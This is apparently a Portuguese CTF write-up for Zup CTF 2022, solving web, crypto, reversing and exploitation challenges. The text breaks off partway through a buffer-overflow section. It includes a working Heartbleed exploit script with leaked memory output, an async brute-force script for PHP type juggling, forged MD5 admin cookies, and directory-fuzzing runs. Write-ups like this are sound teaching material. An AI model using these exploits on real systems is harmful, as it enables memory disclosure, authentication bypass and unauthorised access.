# Write-up - CTF Zup 2022 - Alexandre Fidélis Vieira Bitencourt ## se FOR fácil eu MATO - v2 Este desafio era sobre a utilização de um buffer overflow para sobrepor o valor de uma variável inteira. O código fonte da página era o seguinte:  Caso o atacante conseguisse sobrepor o valor da variável inteira que era iniciado com zero a flag seria revelada. O código fonte tinha a declaração de um array de char para representar a string que era entrada pelo usuário através do formulário e logo após a declaração desse buffer que tinha um tamanho limitado a variável inteira era declarada. Para tentar garantir que o buffer não seria "estourado" o código fonte incluía o terminador nulo no fim da string a fim de impedir que uma string de tamanho maior que o buffer fosse inserida como entrada. O buffer era preenchido com a função sprintf sem usar nenhum argumento e essa é a vulnerabilidade. Ao usar uma format string os próximos argumentos que estão na pilha são usados para preencher elas. Para estourar o buffer bastou preencher o input com uma sequência de %d's que fez com que os valores inteiros que estavam na pilha de chamada fossem colocados na string o que gerou uma string maior que o tamanho do buffer invadindo o espaço de memória da variável inteira sobrepondo seu valor. A resposta retornada foi: ``` Welcome to the ZUP CTF, brought to you by RED TEAM ZUP-CTF{n0wy0uh4d703xpl0r3pr0p3rly} ``` ## Segredo ``` Se você sabe a resposta para a vida, o universo e tudo mais, você já sabe a flag. ``` O enunciado do desafio é uma pergunta que foi extraída do livro "O guia do mochileiro das galáxias" que é um clássico da literatura nerd :D. No livro temos um computador que passou milhões de anos calculando a resposta para a pergunta "Qual o sentido da vida do universo e tudo mais?". A resposta do computador foi o número 42 o que nos leva a flag `CTF-ZUP{42}`. ## Web Easy Ao abrir o site havia um loop em javascript com milhões de alerts. Desabilitei o javascript do navegador para evitar os alerts e procurei na página se havia alguma flag. Como não encontrei nada, resolvi olhar os cookies gravados pelo site e a flag estava em um cookie. A requisição curl abaixo mostra o cookie gravado pelo site que é a flag `ZUP-CTF{c0okie-b-olad4an}}`: ``` $ curl -X HEAD -v http://15.228.18.99:18131/ Warning: Setting custom HTTP method to HEAD with -X/--request may not work the Warning: way you want. Consider using -I/--head instead. * Trying 15.228.18.99:18131... * TCP_NODELAY set * Connected to 15.228.18.99 (15.228.18.99) port 18131 (#0) > HEAD / HTTP/1.1 > Host: 15.228.18.99:18131 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Tue, 05 Jul 2022 15:13:26 GMT < Server: Apache/2.4.25 (Debian) < X-Powered-By: PHP/7.0.33 < Set-Cookie: FLAG=ZUP-CTF%7Bc0okie-b-olad4an%7D%7D; expires=Tue, 12-Jul-2022 15:13:26 GMT; Max-Age=604800; path=/ < Connection: close < Content-Type: text/html; charset=UTF-8 < * Closing connection 0 ``` ## Pokémon O desafio se tratava de uma mensagem codificada como se o pikachu estivesse falando: ``` pi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pipi ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka pikachu ka ka ka ka ka pikachu pichu pichu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pipi ka ka ka pikachu pipi pi pi pi pi pikachu pichu pi pi pi pikachu pipi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pichu pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka pikachu pichu pikachu pipi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka pikachu pichu pikachu pipi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka pikachu pichu pikachu pipi pipi ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka pikachu pichu pichu pikachu pipi pipi pi pi pikachu pi pi pi pi pi pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pikachu pi pi pi pi pi pi pi pi pikachu ``` Ao pesquisar no google por "pikachu encoding" encontrei o link https://www.dcode.fr/pikalang-language. Ao entrar a mensagem no formulário decodificar obtemos flag: `ZUP-CTF{PI-PI-PI-kaka-chuu}` ## Look closely Para esse desafio usei uma ferramenta chamada `dirsearch` (https://github.com/maurosoria/dirsearch) para mapear os diretórios e arquivos conhecidos presentes no site e obtive o seguinte resultado: ``` $ python dirsearch.py -u https://zup-look-closely.chals.io/ _|. _ _ _ _ _ _|_ v0.4.2.6 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11346 Output File: /home/alexandrebitencourt/workspaces/ctf/dirsearch/reports/zup-look-closely.chals.io/__22-07-04_19-43-58.txt Target: https://zup-look-closely.chals.io/ [19:43:58] Starting: [19:44:02] 301 - 46B - /%2e%2e//google.com -> /google.com [19:44:02] 301 - 46B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -> /etc/passwd [19:44:44] 301 - 46B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -> /etc/passwd [19:44:45] 301 - 87B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -> /Citrix/AccessPlatform/auth/clientscripts/cookies.js [19:44:56] 301 - 77B - /engine/classes/swfupload//swfupload_f9.swf -> /engine/classes/swfupload/swfupload_f9.swf [19:44:56] 301 - 74B - /engine/classes/swfupload//swfupload.swf -> /engine/classes/swfupload/swfupload.swf [19:44:58] 301 - 62B - /extjs/resources//charts.swf -> /extjs/resources/charts.swf [19:44:59] 301 - 42B - /files -> /files/ [19:44:59] 200 - 599B - /files/ [19:44:59] 404 - 19B - /files/cache/ [19:44:59] 404 - 19B - /files/tmp/ [19:45:04] 301 - 72B - /html/js/misc/swfupload//swfupload.swf -> /html/js/misc/swfupload/swfupload.swf [19:45:05] 200 - 83B - /images/ [19:45:05] 404 - 19B - /images/Sym.php [19:45:05] 404 - 19B - /images/c99.php [19:45:05] 404 - 19B - /images/README [19:45:05] 301 - 43B - /images -> /images/ [19:45:14] 200 - 39KB - /main.js Task Completed ``` O scan retornou as pastas `images`, `files` e um arquivo `main.js`. Ao entrar na pasta `files` havia um arquivo `flag.txt` que continha uma flag falsa e outros arquivos que não tinham nenhuma flag. Parti para a análise do `/main.js` que era um arquivo javascript ofuscado. Tentei rodar o código no interpretador do nodejs para ver o que era e reclamou da não existência da variável `window` o que indica que é um script que espera ser rodado em um browser. Ao abrir o console do navegador e executar o código foi revelada uma função javascript. Ao clicar nela e ver o conteúdo, no fim da função havia um comentário com uma string base64: ``` javascript window.onload = function() { var text = "Welcome to Zup CTF"; var myH1 = document.createElement("h1"); myH1.innerHTML = text; myH1.style.textAlign = "center"; document.body.appendChild(myH1); var text_paragraph = "Let's see if you can find the flag.\n\nIt is hidden somewhere in the server."; var myPara = document.createElement("p"); myPara.innerHTML = text_paragraph; myPara.style.textAlign = "center"; document.body.appendChild(myPara); var myImg = document.createElement("img"); myImg.src = "./images/lupa.gif"; myImg.alt = "detective"; myImg.style.display = "block"; myImg.style.margin = "auto"; myImg.style.width = "50%"; document.body.appendChild(myImg); } //WlVQLUNURntqNWZ1Y2sxNTR3M3MwbTNicjBoNGg0fQ== ``` Decodificando a string temos a flag: `ZUP-CTF{j5fuck154w3s0m3br0h4h4}` ## A1Z26 Nesse desafio tínhamos um arquivo zip com três imagens jpg protegidas por senha e um arquivo de texto com o seguinte conteúdo: ``` zupzu zupzupzupzupzupzupzup z zupzupzupzupz zupzupzupzupzup z zupzupzupzupzupzupzupzupzu zupzupzupzupzupzupzup zupzupzupzupzupz ``` Ao pesquisar o título do desafio no google descobri que se trata de uma cifra onde as letras são substituídas pelo número correspondente no alfabeto (1 a 26) e separadas por traços e encontrei um decodificador em (https://planetcalc.com/4884/). - A minha primeira tentativa foi codificar o texto e usar o conteúdo gerado como entrada o fcrackzip para tentar ver se era a senha. (Não funcionou) - Depois tentei juntar todo resultado em uma única linha. (Não funcionou também). - Ao analisar o texto percebi que ele estava variando a cada linha o número de letras apenas, sempre usando a palavra zup. Contando as letras de cada uma das linhas e colocando no formato esperado pelo A1Z26 temos: 5-21-1-13-15-1-26-21-16. - Ao usar o decodificador com a string acima temos a senha do zip (euamoazup). - Com a senha foi possível extrair os jpgs do zip. - Utilizando o comando `strings *.jpg | grep ZUP-CTF{` consegui achar a flag escondida nas imagens: `ZUP-CTF{zup1nh4r0x}` ## Can you find me? Acessando o site https://zup-can-you-find-me.chals.io/ e analisando o código fonte da página percebi que havia uma linha escrita em preto no fundo preto com uma string encodada em base64: `[+] Conhecida como V1ZoT2VscFlVblZpTTFKcw==` Decodifinado a string através do site https://www.base64decode.org/ percebi que era encodada mais de uma vez e seguindo decodificando tive a seguinte sequência de resultados: WVhOelpYUnViM1Js, YXNzZXRub3Rl e assetnote. Asset Note é um site relacionado a segurança que mantém wordlists que podem ser usadas com a ferramenta ffuf do Tutorial para descobrir nomes de arquivos. Escolhi as listas baseado nas dicas do desafio: [+] Busque .php.js.jsp.zip.rar [+] Sou uma lista de uma bigQuery Das extensões indicadas e geradas via bigquery encontrei as seguintes listas: https://wordlists-cdn.assetnote.io/data/manual/jsp.txt https://wordlists-cdn.assetnote.io/data/manual/php.txt Ao realizar a busca usando a lista de nomes de jsps foi encontrado o resultado: ```$ ./ffuf -r -u https://zup-can-you-find-me.chals.io/FUZZ -w assetnote/jsp.txt /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 ________________________________________________ :: Method : GET :: URL : https://zup-can-you-find-me.chals.io/FUZZ :: Wordlist : FUZZ: assetnote/jsp.txt :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 ________________________________________________ listPaymentObligationDocumentTypes.jsp [Status: 200, Size: 24, Words: 1, Lines: 2, Duration: 143ms] ``` Ao acessar o endereço encontrado temos a flag: `ZUP-CTF{JSP-RECON-9219}` ## Coração Ao acessar o site do desafio havia um vídeo com a música Coração do Alceu Valença. Analisando o site não percebi nada a ser explorado, mas como era um dos únicos desafios que tinha `https` na URL suspeitei de uma brecha de segurança encontrada há alguns anos no SSL chamada `HeartBleed`. Como nunca tinha usado um exploit dessa falha resolvi dar uma pesquisada e aprender sobre quando me deparei com o seguinte vídeo no youtube: https://www.youtube.com/watch?v=SgJm0C6jzbo. Nele aprendi como confirmar através do `nmap` se o site é afetado pela falha e como executar um exploit para obter parte da memória do servidor. Usei o script indicado na descrição do vídeo mas tive que modificar ele para rodar no python3 pois ele era compatível apenas com python2. O script utilizado foi: ```python #!/usr/bin/env python # coding=utf-8 # CVE-2014-0160 exploit PoC # Originally from test code by Jared Stafford (jspenguin@jspenguin.org) import sys import struct import socket import time import select import re import codecs from optparse import OptionParser options = OptionParser( usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)' ) options.add_option( '-p', '--port', type='int', default=443, help='TCP port to test (default: 443)' ) def h2bin(x): return codecs.decode(x.replace(' ', '').replace('\n', ''), 'hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in range(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % c for c in lin) pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin) print(' %04x: %-48s %s' % (b, hxdat, pdat)) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = b'' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print('Unexpected EOF receiving record header; server closed connection') return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print('Unexpected EOF receiving record payload; server closed connection') return None, None, None print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print ('No heartbeat response received; server likely not vulnerable') return False if typ == 24: print ('Received heartbeat response:') hexdump(pay) if len(pay) > 3: print('WARNING: server returned more data than it should; server is vulnerable!') else: print('Server processed malformed heartbeat, but did not return any extra data.') return True if typ == 21: print('Received alert:') hexdump(pay) print ('Server returned error; likely not vulnerable') return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('Connecting...') sys.stdout.flush() s.connect((args[0], opts.port)) print ('Sending Client Hello...') sys.stdout.flush() s.send(hello) print ('Waiting for Server Hello...') sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print ('Server closed connection without sending Server Hello.') return # Look for server hello done message. if typ == 22 and pay[0] == 0x0E: break print('Sending heartbeat request...') sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main() ``` Para executar o ataque rodei o seguinte comando: ``` $ python hearbleed.py 18.228.224.29 -p 443 Connecting... Sending Client Hello... Waiting for Server Hello... ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 716 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request... ... received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: 0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r... 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9....... 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....". 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5. 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................ 0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2. 0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../... 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A............... 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................ 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................ 00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................ 00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 63 65 70 74 ....#.......cept 00e0: 2D 4C 61 6E 67 75 61 67 65 3A 20 70 74 0D 0A 43 -Language: pt..C 00f0: 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 3A 20 6D 61 ache-Control: ma 0100: 78 2D 61 67 65 3D 30 0D 0A 43 6F 6E 6E 65 63 74 x-age=0..Connect 0110: 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C 69 76 65 0D ion: keep-alive. 0120: 0A 53 65 63 2D 46 65 74 63 68 2D 44 65 73 74 3A .Sec-Fetch-Dest: 0130: 20 64 6F 63 75 6D 65 6E 74 0D 0A 53 65 63 2D 46 document..Sec-F 0140: 65 74 63 68 2D 4D 6F 64 65 3A 20 6E 61 76 69 67 etch-Mode: navig 0150: 61 74 65 0D 0A 53 65 63 2D 46 65 74 63 68 2D 53 ate..Sec-Fetch-S 0160: 69 74 65 3A 20 6E 6F 6E 65 0D 0A 53 65 63 2D 46 ite: none..Sec-F 0170: 65 74 63 68 2D 55 73 65 72 3A 20 3F 31 0D 0A 55 etch-User: ?1..U 0180: 70 67 72 61 64 65 2D 49 6E 73 65 63 75 72 65 2D pgrade-Insecure- 0190: 52 65 71 75 65 73 74 73 3A 20 31 0D 0A 55 73 65 Requests: 1..Use 01a0: 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 r-Agent: Mozilla 01b0: 2F 35 2E 30 20 28 58 31 31 3B 20 4C 69 6E 75 78 /5.0 (X11; Linux 01c0: 20 78 38 36 5F 36 34 29 20 57 6C 56 51 4C 55 4E x86_64) WlVQLUN 01d0: 55 52 6E 74 6F 4D 7A 52 79 4E 32 4A 73 4D 7A 4E URntoMzRyN2JsMzN 01e0: 6B 4D 7A 51 31 65 58 30 3D 20 43 68 72 6F 6D 65 kMzQ1eX0= Chrome 01f0: 2F 31 30 32 2E 30 2E 30 2E 30 20 53 61 66 61 72 /102.0.0.0 Safar 0200: 69 2F 35 33 37 2E 33 36 0D 0A 73 65 63 2D 63 68 i/537.36..sec-ch 0210: 2D 75 61 3A 20 22 20 4E 6F 74 20 41 3B 42 72 61 -ua: " Not A;Bra 0220: 6E 64 22 3B 76 3D 22 39 39 22 2C 20 22 43 68 72 nd";v="99", "Chr 0230: 6F 6D 69 75 6D 22 3B 76 3D 22 31 30 32 22 2C 20 omium";v="102", 0240: 22 47 6F 6F 67 6C 65 20 43 68 72 6F 6D 65 22 3B "Google Chrome"; 0250: 76 3D 22 31 30 32 22 0D 0A 73 65 63 2D 63 68 2D v="102"..sec-ch- 0260: 75 61 2D 6D 6F 62 69 6C 65 3A 20 3F 30 0D 0A 73 ua-mobile: ?0..s 0270: 65 63 2D 63 68 2D 75 61 2D 70 6C 61 74 66 6F 72 ec-ch-ua-platfor 0280: 6D 3A 20 22 4C 69 6E 75 78 22 0D 0A 0D 0A FC 39 m: "Linux".....9 0290: 2E 52 D6 7D D3 01 80 60 C8 38 95 08 43 9B 00 00 .R.}...`.8..C... ... mais alguns dados ... ``` O dump da memória gerado continha uma string codificada em base64 `WlVQLUNURntoMzRyN2JsMzNkMzQ1eX0=` que ao ser decodificada revelou a flag. ``` $ echo WlVQLUNURntoMzRyN2JsMzNkMzQ1eX0= | base64 -d ZUP-CTF{h34r7bl33d345y} ``` ## Localstack O servidor deste desafio estava rodando o Localstack que é uma ferramenta de desenvolvimento que simula a AWS localmente para realização de testes e desenvolvimento. Configurei as credenciais do client da AWS para as esperadas pelo LocalStack e fiz algum tempo de discovery dos serviços que estavam com dados. Acabei encontrando na região `sa-east-1` duas tabelas do dynamo com o comando: ``` $ aws --endpoint-url http://15.228.223.107:4566 dynamodb list-tables { "TableNames": [ "Music", "Sertanejo" ] } ``` Ao fazer scan em uma das tabelas chamada Music com o comando acabei encontrado a flag `ZUP-CTF{M3l0di44-l33t}` em um dos registros da tabela: ``` $ aws --endpoint-url http://15.228.223.107:4566 dynamodb scan --table-name Music { "Items": [ { "Artist": { "S": "No One You Know" }, "AlbumTitle": { "S": "ZUP-CTF{M3l0di44-l33t}" }, "Awards": { "N": "1" }, "SongTitle": { "S": "Call Me Today" } } ], "Count": 1, "ScannedCount": 1, "ConsumedCapacity": null } ``` ## Reversing 04 O objetivo do desafio era supostamente gerar um arquivo de licença válido para o ZipZup. Utilizando o IDA Freeware (https://hex-rays.com/ida-free/) para disassemblar e debugar o executável consegui identificar que na verdade a rotina de verificação apenas olhava se o arquivo informado como argumento no parâmetro `--license` existia e sempre retornava -1. Abaixo temos o disassembly da rotina de verificação: ``` .text:000055BE32D754E9 ; =============== S U B R O U T I N E ======================================= .text:000055BE32D754E9 .text:000055BE32D754E9 ; Attributes: bp-based frame .text:000055BE32D754E9 .text:000055BE32D754E9 sub_55BE32D754E9 proc near ; CODE XREF: main+D6↓p .text:000055BE32D754E9 .text:000055BE32D754E9 filename = qword ptr -18h .text:000055BE32D754E9 stream = qword ptr -8 .text:000055BE32D754E9 .text:000055BE32D754E9 endbr64 .text:000055BE32D754ED push rbp .text:000055BE32D754EE mov rbp, rsp .text:000055BE32D754F1 sub rsp, 20h .text:000055BE32D754F5 mov [rbp+filename], rdi .text:000055BE32D754F9 mov rax, [rbp+filename] .text:000055BE32D754FD lea rsi, modes ; "r" .text:000055BE32D75504 mov rdi, rax ; filename .text:000055BE32D75507 call _fopen .text:000055BE32D7550C mov [rbp+stream], rax .text:000055BE32D75510 cmp [rbp+stream], 0 .text:000055BE32D75515 jnz short loc_55BE32D75536 .text:000055BE32D75517 mov rax, [rbp+filename] .text:000055BE32D7551B mov rsi, rax .text:000055BE32D7551E lea rdi, format ; "Error opening %s file\n" .text:000055BE32D75525 mov eax, 0 .text:000055BE32D7552A call _printf .text:000055BE32D7552F mov eax, 0FFFFFFFFh .text:000055BE32D75534 jmp short locret_55BE32D75547 .text:000055BE32D75536 ; --------------------------------------------------------------------------- .text:000055BE32D75536 .text:000055BE32D75536 loc_55BE32D75536: ; CODE XREF: sub_55BE32D754E9+2C↑j .text:000055BE32D75536 mov rax, [rbp+stream] .text:000055BE32D7553A mov rdi, rax ; stream .text:000055BE32D7553D call _fclose .text:000055BE32D75542 mov eax, 0FFFFFFFFh .text:000055BE32D75547 .text:000055BE32D75547 locret_55BE32D75547: ; CODE XREF: sub_55BE32D754E9+4B↑j .text:000055BE32D75547 leave .text:000055BE32D75548 retn .text:000055BE32D75548 sub_55BE32D754E9 endp ``` Nessa subrotina da para ver que o arquivo é aberto e fechado sem nenhum tipo de leitura ou qualquer outra verificação e que o retorno da função (colocado no registrador eax) é sempre 0FFFFFFFFh (-1). O código que chama essa subrotina fica na função `main` do executável e o trecho relevante do disassembly é o seguinte: ``` .text:000055BE32D75B15 mov rax, [rbp+var_270] .text:000055BE32D75B1C add rax, 10h .text:000055BE32D75B20 mov rax, [rax] .text:000055BE32D75B23 mov rdi, rax .text:000055BE32D75B26 call sub_55BE32D754E9 .text:000055BE32D75B2B test eax, eax .text:000055BE32D75B2D jnz short loc_55BE32D75B4A .text:000055BE32D75B2F lea rdi, aThanksForPurch ; "Thanks for purchasing ZupZip!\n" .text:000055BE32D75B36 call _puts .text:000055BE32D75B3B call sub_55BE32D75549 .text:000055BE32D75B40 mov eax, 0 .text:000055BE32D75B45 jmp loc_55BE32D76646 .text:000055BE32D75B4A ; --------------------------------------------------------------------------- .text:000055BE32D75B4A .text:000055BE32D75B4A loc_55BE32D75B4A: ; CODE XREF: main+DD↑j .text:000055BE32D75B4A lea rdi, aLicenseNotVali ; "License not valid!" .text:000055BE32D75B51 call _puts .text:000055BE32D75B56 mov eax, 0FFFFFFFFh .text:000055BE32D75B5B jmp loc_55BE32D76646 ``` Após chamar a subrotina `sub_55BE32D754E9` é feita uma verificação para avaliar se o `eax` contém zero e caso não tenha é exibida a mensagem de licença inválida. Caso contrário é chamada uma outra subrotina que imprime a flag `sub_55BE32D75549`. Confesso que isso foi um pouco frustrante pois esperava ter que gerar um arquivo de licença válido e nesse desafio isso seria impossível. Gerei um arquivo de licença com qualquer conteúdo para prosseguir e restou fazer o trabalho sujo de alterar o retorno da função de verificação para que a instrução `jnz short loc_55BE32D75B4A` não desviasse o fluxo para o erro e a flag fosse impressa. Isso poderia ser feito com um patch no executável, seja alterando o valor de retorno da função que estava fixo para zero, seja alterando o bytecode da instrução `jnz` para `jz`, mas preferi executar o debugger, colocar um breakpoint na instrução `test eax, eax` que é executada antes do `jnz` e alterar o valor de EAX para zero antes de prosseguir tendo a flag impressa no console: ``` Please note that ZupZip is not free software. After 40 day trial period you must either buy a license or remove it from your computer Press any key to continue... Thanks for purchasing ZupZip! ZUP-CTF{r3vEr5e_M4st3r} ``` ## Simple-Request Ao acessar a página do desafio temos a configuração do nginx com uma regex para retornar 403 quando a requisição é feita para a página flag.html:  Para resolver esse desafio era necessário fazer uma requisição simples HTTP que está definida na RFC do HTTP/1.0 (https://datatracker.ietf.org/doc/html/rfc1945#section-4.1). Nela a definição de uma Simple-Request é: `Simple-Request = "GET" SP Request-URI CRLF` Utilizando o `netcat` conectei na porta do servidor e enviei a seguinte requisição: ``` $ nc 18.228.232.207 80 GET /flag.html ZUP-CTF{k5j4dh14u5dhc13dfuhfd5} ``` O servidor considera essa requisição válida e retorna o HTML pois a regex levava em consideração a versão HTTP que não é enviada em uma requisição simples. ## Admin Only Após utilizar o `nmap` para fazer um scan completo do site encontrei um robots.txt com o seguinte conteúdo: ``` Disallow: /bab93a7b6ea8f031879676f649312d1e ``` Ao acessar o arquivo proíbida pelo robots ele tinha o seguinte conteúdo: ``` user:d22aa28cbe1d8aa64b0752d5a69a4e9c ``` Esse formato indica um arquivo de senhas com o formato `usuario:hash_da_senha`. Pelo tamanho do hash da para perceber que se trata de um MD5. Acessei o site md5decrypt.net e joguei o hash obtendo como resultado: ``` user12345678 ``` Fiz o login no desafio com o usuário `user` e a senha `user12345678`. Havia um link com a flag mas ao clicar nele a mensagem `Sorry. Only admin can see the flag!` era exibida. Analisando os cookies gravados pelo site vi que havia um cookie `user_id` com o conteúdo `ee11cbb19052e40b07aac0ca060c23ee` que é outro hash md5 conhecido. Decodificando o hash ele corresponde à string `user`. Como o esperado pelo site é que o acesso seja feito pelo admin alterei o valor do cookie para `21232f297a57a5a743894a0e4a801fc3`que corresponde ao md5 da string `admin`. Ao fazer refresh da página a flag foi exibida: `ZUP-CTF{345y4dm1n1d0rC00k13ch4ll3ng3}` ## Welcome to the Juggling v2.0 Pesquisando o termo "php juggling" no google achei muita informação e exemplos sobre o problema de ser usar o operador de comparação `==` no php ao invés do operador `===`. Dentre as informações interessantes que encontrei, quando o operador `==` é usado para comparar uma string que começa com `0e` o valor é tratado como um número e comparações como `"0e00123123123" == "0e212133212313"` por exemplo, sempre retornam true pois zero é igual a zero. Olhando para o código fonte do problema não consegui pensar em uma forma trivial de fazer o exploit pois o hash calculado pelo desafio dependia da flag que não era uma variável que estava sobre meu controle.  Com isso em mente criei um script para fazer força bruta definido o parâmetro hash como `0e0000000` que satisfazia a condição do hash ser maior que 6 dígitos, fixei o parâmetro email como `admin@zup.com.br` para satisfazer a condição do email ter domínio zup.com.br e variei o valor do password com strings aleatórias. A ideia por trás desse ataque de força bruta é a de que o hash MD5 eventualmente vai retornar algo começado com `0e` com alguma das strings enviadas, o que torna a comparação com o hash enviado verdadeira. Fiz uso de asyncio do python para enviar 1000 requisições por vez limitando a 40 requisições simultâneas para obter o resultado mais rápido. Segue o script criado: ```python import asyncio import aiohttp import time import string import random alphabet = string.ascii_letters + string.digits async def gather_with_concurrency(n, *tasks): semaphore = asyncio.Semaphore(n) async def sem_task(task): async with semaphore: return await task return await asyncio.gather(*(sem_task(task) for task in tasks)) async def get_async(url, session, results): async with session.get(url) as response: i = url.split('/')[-1] obj = await response.text() results[i] = obj def generate_random_pass(): length = random.choice(range(1, 10)) letters = random.choices(alphabet, k=length) return ''.join(letters) async def main(): conn = aiohttp.TCPConnector(limit=None, ttl_dns_cache=300) session = aiohttp.ClientSession(connector=conn) results = {} conc_req = 40 now = time.time() found = False count = 0 while not found: urls = [f"https://zup-welcometothejuggling2.chals.io/?email=admin@zup.com.br&pass={generate_random_pass()}&hash=0e0000" for _ in range(1000)] await gather_with_concurrency(conc_req, *[get_async(i, session, results) for i in urls]) count += len(urls) for url, content in results.items(): if not "Wrooooooong" in content: print(url, content) found = True print(count) results = {} time_taken = time.time() - now print(time_taken) await session.close() asyncio.run(main()) ``` Após pouco mais de um minuto e 18 mil requisições a comparação deu true e a flag `ZUP-CTF{Ju66l1n62.0!}` foi encontrada: ``` 1000 2000 3000 4000 5000 6000 7000 8000 9000 10000 11000 12000 13000 14000 15000 16000 17000 ?email=admin@zup.com.br&pass=p3F12p&hash=0e0000 <!DOCTYPE html> <html> <title>Welcome to the Juggling 2.0</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <body bgcolor="#afafaf"> <center> <h1 style="font-size:60px;">If you find my email and password I'll give you the flag</h1> </center> <hr> <div style="position: relative; top:10px; align:center; bottom:500px;"> <div> <center style='color:blue'><h3>Congratulations, you found my email and password!<h3><center style='color:red'><h3>The flag is: ZUP-CTF{Ju66l1n62.0!}<h3> 18000 76.19752478599548 ``` ## BOF v2 Esse desafio consiste em efetuar um buffer overflow para alterar o endereço de retorno na pilha de chamadas para imprimir a flag. Inicialmente executei o programa ele mostrou o seguinte output: ``` $ ./crackme [+] Server Socket Created Sucessfully. [+] Bind to Port number 8090. [+] Listening on 0.0.0.0:8090 ``` Hora de usar o `netcat` em outro terminal e ver no que dá: ``` $ echo -n "abc" | nc localhost 8090 Try harder! ``` No terminal onde estava sendo executado o servido foi impresso: ``` [+] Connection received from 0.0.0.0 [+] Client 0.0.0.0 sent payload Welcome to ZUP CTF, brought to you by Red'n'Blue Teams data is at 0x8d1fa0, fp is at 